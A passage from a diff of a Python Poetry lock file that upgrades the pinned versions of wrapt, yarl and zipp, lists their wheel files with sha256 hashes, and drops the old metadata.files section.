{file = "wrapt-1.17.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:df7d30371a2accfe4013e90445f6388c570f103d61019b6b7c57e0265250072a"}, + {file = "wrapt-1.17.3-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:caea3e9c79d5f0d2c6d9ab96111601797ea5da8e6d0723f77eabb0d4068d2b2f"}, + {file = "wrapt-1.17.3-cp38-cp38-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:758895b01d546812d1f42204bd443b8c433c44d090248bf22689df673ccafe00"}, + {file = "wrapt-1.17.3-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:02b551d101f31694fc785e58e0720ef7d9a10c4e62c1c9358ce6f63f23e30a56"}, + {file = "wrapt-1.17.3-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:656873859b3b50eeebe6db8b1455e99d90c26ab058db8e427046dbc35c3140a5"}, + {file = "wrapt-1.17.3-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:a9a2203361a6e6404f80b99234fe7fb37d1fc73487b5a78dc1aa5b97201e0f22"}, + {file = "wrapt-1.17.3-cp38-cp38-win32.whl", hash = "sha256:55cbbc356c2842f39bcc553cf695932e8b30e30e797f961860afb308e6b1bb7c"}, + {file = "wrapt-1.17.3-cp38-cp38-win_amd64.whl", hash = "sha256:ad85e269fe54d506b240d2d7b9f5f2057c2aa9a2ea5b32c66f8902f768117ed2"}, + {file = "wrapt-1.17.3-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:30ce38e66630599e1193798285706903110d4f057aab3168a34b7fdc85569afc"}, + {file = "wrapt-1.17.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:65d1d00fbfb3ea5f20add88bbc0f815150dbbde3b026e6c24759466c8b5a9ef9"}, + {file = "wrapt-1.17.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:a7c06742645f914f26c7f1fa47b8bc4c91d222f76ee20116c43d5ef0912bba2d"}, + {file = "wrapt-1.17.3-cp39-cp39-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:7e18f01b0c3e4a07fe6dfdb00e29049ba17eadbc5e7609a2a3a4af83ab7d710a"}, + {file = "wrapt-1.17.3-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0f5f51a6466667a5a356e6381d362d259125b57f059103dd9fdc8c0cf1d14139"}, + {file = "wrapt-1.17.3-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:59923aa12d0157f6b82d686c3fd8e1166fa8cdfb3e17b42ce3b6147ff81528df"}, + {file = "wrapt-1.17.3-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:46acc57b331e0b3bcb3e1ca3b421d65637915cfcd65eb783cb2f78a511193f9b"}, + {file = "wrapt-1.17.3-cp39-cp39-win32.whl", hash = "sha256:3e62d15d3cfa26e3d0788094de7b64efa75f3a53875cdbccdf78547aed547a81"}, + {file = "wrapt-1.17.3-cp39-cp39-win_amd64.whl", hash = "sha256:1f23fa283f51c890eda8e34e4937079114c74b4c81d2b2f1f1d94948f5cc3d7f"}, + {file = "wrapt-1.17.3-cp39-cp39-win_arm64.whl", hash = "sha256:24c2ed34dc222ed754247a2702b1e1e89fdbaa4016f324b4b8f1a802d4ffe87f"}, + {file = "wrapt-1.17.3-py3-none-any.whl", hash = "sha256:7171ae35d2c33d326ac19dd8facb1e82e5fd04ef8c6c0e394d7af55a55051c22"}, + {file = "wrapt-1.17.3.tar.gz", hash = "sha256:f66eb08feaa410fe4eebd17f2a2c8e2e46d3476e9f8c783daa8e09e0faa666d0"}, +] [[package]] name = "yarl" -version = "1.9.4" +version = "1.20.1" description = "Yet another URL library" -category = "dev" optional = false -python-versions = ">=3.7" +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "yarl-1.20.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:6032e6da6abd41e4acda34d75a816012717000fa6839f37124a47fcefc49bec4"}, + {file = "yarl-1.20.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:2c7b34d804b8cf9b214f05015c4fee2ebe7ed05cf581e7192c06555c71f4446a"}, + {file = "yarl-1.20.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:0c869f2651cc77465f6cd01d938d91a11d9ea5d798738c1dc077f3de0b5e5fed"}, + {file = "yarl-1.20.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:62915e6688eb4d180d93840cda4110995ad50c459bf931b8b3775b37c264af1e"}, + {file = "yarl-1.20.1-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:41ebd28167bc6af8abb97fec1a399f412eec5fd61a3ccbe2305a18b84fb4ca73"}, + {file = "yarl-1.20.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:21242b4288a6d56f04ea193adde174b7e347ac46ce6bc84989ff7c1b1ecea84e"}, + {file = "yarl-1.20.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:bea21cdae6c7eb02ba02a475f37463abfe0a01f5d7200121b03e605d6a0439f8"}, + {file = "yarl-1.20.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1f8a891e4a22a89f5dde7862994485e19db246b70bb288d3ce73a34422e55b23"}, + {file = "yarl-1.20.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:dd803820d44c8853a109a34e3660e5a61beae12970da479cf44aa2954019bf70"}, + {file = "yarl-1.20.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:b982fa7f74c80d5c0c7b5b38f908971e513380a10fecea528091405f519b9ebb"}, + {file = "yarl-1.20.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:33f29ecfe0330c570d997bcf1afd304377f2e48f61447f37e846a6058a4d33b2"}, + {file = "yarl-1.20.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:835ab2cfc74d5eb4a6a528c57f05688099da41cf4957cf08cad38647e4a83b30"}, + {file = "yarl-1.20.1-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:46b5e0ccf1943a9a6e766b2c2b8c732c55b34e28be57d8daa2b3c1d1d4009309"}, + {file = "yarl-1.20.1-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:df47c55f7d74127d1b11251fe6397d84afdde0d53b90bedb46a23c0e534f9d24"}, + {file = "yarl-1.20.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:76d12524d05841276b0e22573f28d5fbcb67589836772ae9244d90dd7d66aa13"}, + {file = "yarl-1.20.1-cp310-cp310-win32.whl", hash = "sha256:6c4fbf6b02d70e512d7ade4b1f998f237137f1417ab07ec06358ea04f69134f8"}, + {file = "yarl-1.20.1-cp310-cp310-win_amd64.whl", hash = "sha256:aef6c4d69554d44b7f9d923245f8ad9a707d971e6209d51279196d8e8fe1ae16"}, + {file = "yarl-1.20.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:47ee6188fea634bdfaeb2cc420f5b3b17332e6225ce88149a17c413c77ff269e"}, + {file = "yarl-1.20.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d0f6500f69e8402d513e5eedb77a4e1818691e8f45e6b687147963514d84b44b"}, + {file = "yarl-1.20.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:7a8900a42fcdaad568de58887c7b2f602962356908eedb7628eaf6021a6e435b"}, + {file = "yarl-1.20.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bad6d131fda8ef508b36be3ece16d0902e80b88ea7200f030a0f6c11d9e508d4"}, + {file = "yarl-1.20.1-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:df018d92fe22aaebb679a7f89fe0c0f368ec497e3dda6cb81a567610f04501f1"}, + {file = "yarl-1.20.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8f969afbb0a9b63c18d0feecf0db09d164b7a44a053e78a7d05f5df163e43833"}, + {file = "yarl-1.20.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:812303eb4aa98e302886ccda58d6b099e3576b1b9276161469c25803a8db277d"}, + {file = "yarl-1.20.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:98c4a7d166635147924aa0bf9bfe8d8abad6fffa6102de9c99ea04a1376f91e8"}, + {file = "yarl-1.20.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:12e768f966538e81e6e7550f9086a6236b16e26cd964cf4df35349970f3551cf"}, + {file = "yarl-1.20.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:fe41919b9d899661c5c28a8b4b0acf704510b88f27f0934ac7a7bebdd8938d5e"}, + {file = "yarl-1.20.1-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:8601bc010d1d7780592f3fc1bdc6c72e2b6466ea34569778422943e1a1f3c389"}, + {file = "yarl-1.20.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:daadbdc1f2a9033a2399c42646fbd46da7992e868a5fe9513860122d7fe7a73f"}, + {file = "yarl-1.20.1-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:03aa1e041727cb438ca762628109ef1333498b122e4c76dd858d186a37cec845"}, + {file = "yarl-1.20.1-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:642980ef5e0fa1de5fa96d905c7e00cb2c47cb468bfcac5a18c58e27dbf8d8d1"}, + {file = "yarl-1.20.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:86971e2795584fe8c002356d3b97ef6c61862720eeff03db2a7c86b678d85b3e"}, + {file = "yarl-1.20.1-cp311-cp311-win32.whl", hash = "sha256:597f40615b8d25812f14562699e287f0dcc035d25eb74da72cae043bb884d773"}, + {file = "yarl-1.20.1-cp311-cp311-win_amd64.whl", hash = "sha256:26ef53a9e726e61e9cd1cda6b478f17e350fb5800b4bd1cd9fe81c4d91cfeb2e"}, + {file = "yarl-1.20.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:bdcc4cd244e58593a4379fe60fdee5ac0331f8eb70320a24d591a3be197b94a9"}, + {file = "yarl-1.20.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:b29a2c385a5f5b9c7d9347e5812b6f7ab267193c62d282a540b4fc528c8a9d2a"}, + {file = "yarl-1.20.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1112ae8154186dfe2de4732197f59c05a83dc814849a5ced892b708033f40dc2"}, + {file = "yarl-1.20.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:90bbd29c4fe234233f7fa2b9b121fb63c321830e5d05b45153a2ca68f7d310ee"}, + {file = "yarl-1.20.1-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:680e19c7ce3710ac4cd964e90dad99bf9b5029372ba0c7cbfcd55e54d90ea819"}, + {file = "yarl-1.20.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4a979218c1fdb4246a05efc2cc23859d47c89af463a90b99b7c56094daf25a16"}, + {file = "yarl-1.20.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:255b468adf57b4a7b65d8aad5b5138dce6a0752c139965711bdcb81bc370e1b6"}, + {file = "yarl-1.20.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a97d67108e79cfe22e2b430d80d7571ae57d19f17cda8bb967057ca8a7bf5bfd"}, + {file = "yarl-1.20.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8570d998db4ddbfb9a590b185a0a33dbf8aafb831d07a5257b4ec9948df9cb0a"}, + {file = "yarl-1.20.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:97c75596019baae7c71ccf1d8cc4738bc08134060d0adfcbe5642f778d1dca38"}, + {file = "yarl-1.20.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:1c48912653e63aef91ff988c5432832692ac5a1d8f0fb8a33091520b5bbe19ef"}, + {file = "yarl-1.20.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:4c3ae28f3ae1563c50f3d37f064ddb1511ecc1d5584e88c6b7c63cf7702a6d5f"}, + {file = "yarl-1.20.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:c5e9642f27036283550f5f57dc6156c51084b458570b9d0d96100c8bebb186a8"}, + {file = "yarl-1.20.1-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:2c26b0c49220d5799f7b22c6838409ee9bc58ee5c95361a4d7831f03cc225b5a"}, + {file = "yarl-1.20.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:564ab3d517e3d01c408c67f2e5247aad4019dcf1969982aba3974b4093279004"}, + {file = "yarl-1.20.1-cp312-cp312-win32.whl", hash = "sha256:daea0d313868da1cf2fac6b2d3a25c6e3a9e879483244be38c8e6a41f1d876a5"}, + {file = "yarl-1.20.1-cp312-cp312-win_amd64.whl", hash = "sha256:48ea7d7f9be0487339828a4de0360d7ce0efc06524a48e1810f945c45b813698"}, + {file = "yarl-1.20.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:0b5ff0fbb7c9f1b1b5ab53330acbfc5247893069e7716840c8e7d5bb7355038a"}, + {file = "yarl-1.20.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:14f326acd845c2b2e2eb38fb1346c94f7f3b01a4f5c788f8144f9b630bfff9a3"}, + {file = "yarl-1.20.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f60e4ad5db23f0b96e49c018596707c3ae89f5d0bd97f0ad3684bcbad899f1e7"}, + {file = "yarl-1.20.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:49bdd1b8e00ce57e68ba51916e4bb04461746e794e7c4d4bbc42ba2f18297691"}, + {file = "yarl-1.20.1-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:66252d780b45189975abfed839616e8fd2dbacbdc262105ad7742c6ae58f3e31"}, + {file = "yarl-1.20.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:59174e7332f5d153d8f7452a102b103e2e74035ad085f404df2e40e663a22b28"}, + {file = "yarl-1.20.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e3968ec7d92a0c0f9ac34d5ecfd03869ec0cab0697c91a45db3fbbd95fe1b653"}, + {file = "yarl-1.20.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d1a4fbb50e14396ba3d375f68bfe02215d8e7bc3ec49da8341fe3157f59d2ff5"}, + {file = "yarl-1.20.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:11a62c839c3a8eac2410e951301309426f368388ff2f33799052787035793b02"}, + {file = "yarl-1.20.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:041eaa14f73ff5a8986b4388ac6bb43a77f2ea09bf1913df7a35d4646db69e53"}, + {file = "yarl-1.20.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:377fae2fef158e8fd9d60b4c8751387b8d1fb121d3d0b8e9b0be07d1b41e83dc"}, + {file = "yarl-1.20.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:1c92f4390e407513f619d49319023664643d3339bd5e5a56a3bebe01bc67ec04"}, + {file = "yarl-1.20.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:d25ddcf954df1754ab0f86bb696af765c5bfaba39b74095f27eececa049ef9a4"}, + {file = "yarl-1.20.1-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:909313577e9619dcff8c31a0ea2aa0a2a828341d92673015456b3ae492e7317b"}, + {file = "yarl-1.20.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:793fd0580cb9664548c6b83c63b43c477212c0260891ddf86809e1c06c8b08f1"}, + {file = "yarl-1.20.1-cp313-cp313-win32.whl", hash = "sha256:468f6e40285de5a5b3c44981ca3a319a4b208ccc07d526b20b12aeedcfa654b7"}, + {file = "yarl-1.20.1-cp313-cp313-win_amd64.whl", hash = "sha256:495b4ef2fea40596bfc0affe3837411d6aa3371abcf31aac0ccc4bdd64d4ef5c"}, + {file = "yarl-1.20.1-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:f60233b98423aab21d249a30eb27c389c14929f47be8430efa7dbd91493a729d"}, + {file = "yarl-1.20.1-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:6f3eff4cc3f03d650d8755c6eefc844edde99d641d0dcf4da3ab27141a5f8ddf"}, + {file = "yarl-1.20.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:69ff8439d8ba832d6bed88af2c2b3445977eba9a4588b787b32945871c2444e3"}, + {file = "yarl-1.20.1-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3cf34efa60eb81dd2645a2e13e00bb98b76c35ab5061a3989c7a70f78c85006d"}, + {file = "yarl-1.20.1-cp313-cp313t-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:8e0fe9364ad0fddab2688ce72cb7a8e61ea42eff3c7caeeb83874a5d479c896c"}, + {file = "yarl-1.20.1-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8f64fbf81878ba914562c672024089e3401974a39767747691c65080a67b18c1"}, + {file = "yarl-1.20.1-cp313-cp313t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f6342d643bf9a1de97e512e45e4b9560a043347e779a173250824f8b254bd5ce"}, + {file = "yarl-1.20.1-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:56dac5f452ed25eef0f6e3c6a066c6ab68971d96a9fb441791cad0efba6140d3"}, + {file = "yarl-1.20.1-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c7d7f497126d65e2cad8dc5f97d34c27b19199b6414a40cb36b52f41b79014be"}, + {file = "yarl-1.20.1-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:67e708dfb8e78d8a19169818eeb5c7a80717562de9051bf2413aca8e3696bf16"}, + {file = "yarl-1.20.1-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:595c07bc79af2494365cc96ddeb772f76272364ef7c80fb892ef9d0649586513"}, + {file = "yarl-1.20.1-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:7bdd2f80f4a7df852ab9ab49484a4dee8030023aa536df41f2d922fd57bf023f"}, + {file = "yarl-1.20.1-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:c03bfebc4ae8d862f853a9757199677ab74ec25424d0ebd68a0027e9c639a390"}, + {file = "yarl-1.20.1-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:344d1103e9c1523f32a5ed704d576172d2cabed3122ea90b1d4e11fe17c66458"}, + {file = "yarl-1.20.1-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:88cab98aa4e13e1ade8c141daeedd300a4603b7132819c484841bb7af3edce9e"}, + {file = "yarl-1.20.1-cp313-cp313t-win32.whl", hash = "sha256:b121ff6a7cbd4abc28985b6028235491941b9fe8fe226e6fdc539c977ea1739d"}, + {file = "yarl-1.20.1-cp313-cp313t-win_amd64.whl", hash = "sha256:541d050a355bbbc27e55d906bc91cb6fe42f96c01413dd0f4ed5a5240513874f"}, + {file = "yarl-1.20.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:e42ba79e2efb6845ebab49c7bf20306c4edf74a0b20fc6b2ccdd1a219d12fad3"}, + {file = "yarl-1.20.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:41493b9b7c312ac448b7f0a42a089dffe1d6e6e981a2d76205801a023ed26a2b"}, + {file = "yarl-1.20.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f5a5928ff5eb13408c62a968ac90d43f8322fd56d87008b8f9dabf3c0f6ee983"}, + {file = "yarl-1.20.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:30c41ad5d717b3961b2dd785593b67d386b73feca30522048d37298fee981805"}, + {file = "yarl-1.20.1-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:59febc3969b0781682b469d4aca1a5cab7505a4f7b85acf6db01fa500fa3f6ba"}, + {file = "yarl-1.20.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d2b6fb3622b7e5bf7a6e5b679a69326b4279e805ed1699d749739a61d242449e"}, + {file = "yarl-1.20.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:749d73611db8d26a6281086f859ea7ec08f9c4c56cec864e52028c8b328db723"}, + {file = "yarl-1.20.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9427925776096e664c39e131447aa20ec738bdd77c049c48ea5200db2237e000"}, + {file = "yarl-1.20.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ff70f32aa316393eaf8222d518ce9118148eddb8a53073c2403863b41033eed5"}, + {file = "yarl-1.20.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:c7ddf7a09f38667aea38801da8b8d6bfe81df767d9dfc8c88eb45827b195cd1c"}, + {file = "yarl-1.20.1-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:57edc88517d7fc62b174fcfb2e939fbc486a68315d648d7e74d07fac42cec240"}, + {file = "yarl-1.20.1-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:dab096ce479d5894d62c26ff4f699ec9072269d514b4edd630a393223f45a0ee"}, + {file = "yarl-1.20.1-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:14a85f3bd2d7bb255be7183e5d7d6e70add151a98edf56a770d6140f5d5f4010"}, + {file = "yarl-1.20.1-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:2c89b5c792685dd9cd3fa9761c1b9f46fc240c2a3265483acc1565769996a3f8"}, + {file = "yarl-1.20.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:69e9b141de5511021942a6866990aea6d111c9042235de90e08f94cf972ca03d"}, + {file = "yarl-1.20.1-cp39-cp39-win32.whl", hash = "sha256:b5f307337819cdfdbb40193cad84978a029f847b0a357fbe49f712063cfc4f06"}, + {file = "yarl-1.20.1-cp39-cp39-win_amd64.whl", hash = "sha256:eae7bfe2069f9c1c5b05fc7fe5d612e5bbc089a39309904ee8b829e322dcad00"}, + {file = "yarl-1.20.1-py3-none-any.whl", hash = "sha256:83b8eb083fe4683c6115795d9fc1cfaf2cbbefb19b3a1cb68f6527460f483a77"}, + {file = "yarl-1.20.1.tar.gz", hash = "sha256:d017a4997ee50c91fd5466cef416231bb82177b93b029906cefc542ce14c35ac"}, +] [package.dependencies] idna = ">=2.0" multidict = ">=4.0" -typing-extensions = {version = ">=3.7.4", markers = "python_version < \"3.8\""} +propcache = ">=0.2.1" [[package]] name = "zipp" -version = "3.15.0" +version = "3.23.0" description = "Backport of pathlib-compatible object wrapper for zip files" -category = "dev" optional = false -python-versions = ">=3.7" +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "zipp-3.23.0-py3-none-any.whl", hash = "sha256:071652d6115ed432f5ce1d34c336c0adfd6a884660d1e9712a256d3d3bd4b14e"}, + {file = "zipp-3.23.0.tar.gz", hash = "sha256:a07157588a12518c9d4034df3fbbee09c814741a33ff63c05fa29d26a2404166"}, +] [package.extras] -docs = ["furo", "jaraco.packaging (>=9)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] -testing = ["big-O", "flake8 (<5)", "jaraco.functools", "jaraco.itertools", "more-itertools", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=1.3)", "pytest-flake8", "pytest-mypy (>=0.9.1)"] +check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\""] +cover = ["pytest-cov"] +doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] +enabler = ["pytest-enabler (>=2.2)"] +test = ["big-O", "jaraco.functools", "jaraco.itertools", "jaraco.test", "more_itertools", "pytest (>=6,!=8.1.*)", "pytest-ignore-flaky"] +type = ["pytest-mypy"] [metadata] -lock-version = "1.1" -python-versions = "^3.7" -content-hash = "f29509520b0515f6ce64f9099abd96595e3f7b4b5435e0208d2fbec4c371a628" - -[metadata.files] -black = [ - {file = "black-22.12.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9eedd20838bd5d75b80c9f5487dbcb06836a43833a37846cf1d8c1cc01cef59d"}, - {file = "black-22.12.0-cp310-cp310-win_amd64.whl", hash = "sha256:159a46a4947f73387b4d83e87ea006dbb2337eab6c879620a3ba52699b1f4351"}, - {file = "black-22.12.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d30b212bffeb1e252b31dd269dfae69dd17e06d92b87ad26e23890f3efea366f"}, - {file = "black-22.12.0-cp311-cp311-win_amd64.whl", hash = "sha256:7412e75863aa5c5411886804678b7d083c7c28421210180d67dfd8cf1221e1f4"}, - {file = "black-22.12.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c116eed0efb9ff870ded8b62fe9f28dd61ef6e9ddd28d83d7d264a38417dcee2"}, - {file = "black-22.12.0-cp37-cp37m-win_amd64.whl", hash = "sha256:1f58cbe16dfe8c12b7434e50ff889fa479072096d79f0a7f25e4ab8e94cd8350"}, - {file = "black-22.12.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:77d86c9f3db9b1bf6761244bc0b3572a546f5fe37917a044e02f3166d5aafa7d"}, - {file = "black-22.12.0-cp38-cp38-win_amd64.whl", hash = "sha256:82d9fe8fee3401e02e79767016b4907820a7dc28d70d137eb397b92ef3cc5bfc"}, - {file = "black-22.12.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:101c69b23df9b44247bd88e1d7e90154336ac4992502d4197bdac35dd7ee3320"}, - {file = "black-22.12.0-cp39-cp39-win_amd64.whl", hash = "sha256:559c7a1ba9a006226f09e4916060982fd27334ae1998e7a38b3f33a37f7a2148"}, - {file = "black-22.12.0-py3-none-any.whl", hash = "sha256:436cc9167dd28040ad90d3b404aec22cedf24a6e4d7de221bec2730ec0c97bcf"}, - {file = "black-22.12.0.tar.gz", hash = "sha256:229351e5a18ca30f447bf724d007f890f97e13af070bb6ad4c0a441cd7596a2f"}, -] -bleach = [ - {file = "bleach-6.0.0-py3-none-any.whl", hash = "sha256:33c16e3353dbd13028ab4799a0f89a83f113405c766e9c122df8a06f5b85b3f4"}, - {file = "bleach-6.0.0.tar.gz", hash = "sha256:1a1a85c1595e07d8db14c5f09f09e6433502c51c595970edc090551f0db99414"}, -] -certifi = [ - {file = "certifi-2023.11.17-py3-none-any.whl", hash = "sha256:e036ab49d5b79556f99cfc2d9320b34cfbe5be05c5871b51de9329f0603b0474"}, - {file = "certifi-2023.11.17.tar.gz", hash = "sha256:9b469f3a900bf28dc19b8cfbf8019bf47f7fdd1a65a1d4ffb98fc14166beb4d1"}, -] -cffi = [ - {file = "cffi-1.15.1-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:a66d3508133af6e8548451b25058d5812812ec3798c886bf38ed24a98216fab2"}, - {file = "cffi-1.15.1-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:470c103ae716238bbe698d67ad020e1db9d9dba34fa5a899b5e21577e6d52ed2"}, - {file = "cffi-1.15.1-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:9ad5db27f9cabae298d151c85cf2bad1d359a1b9c686a275df03385758e2f914"}, - {file = "cffi-1.15.1-cp27-cp27m-win32.whl", hash = "sha256:b3bbeb01c2b273cca1e1e0c5df57f12dce9a4dd331b4fa1635b8bec26350bde3"}, - {file = "cffi-1.15.1-cp27-cp27m-win_amd64.whl", hash = "sha256:e00b098126fd45523dd056d2efba6c5a63b71ffe9f2bbe1a4fe1716e1d0c331e"}, - {file = "cffi-1.15.1-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:d61f4695e6c866a23a21acab0509af1cdfd2c013cf256bbf5b6b5e2695827162"}, - {file = 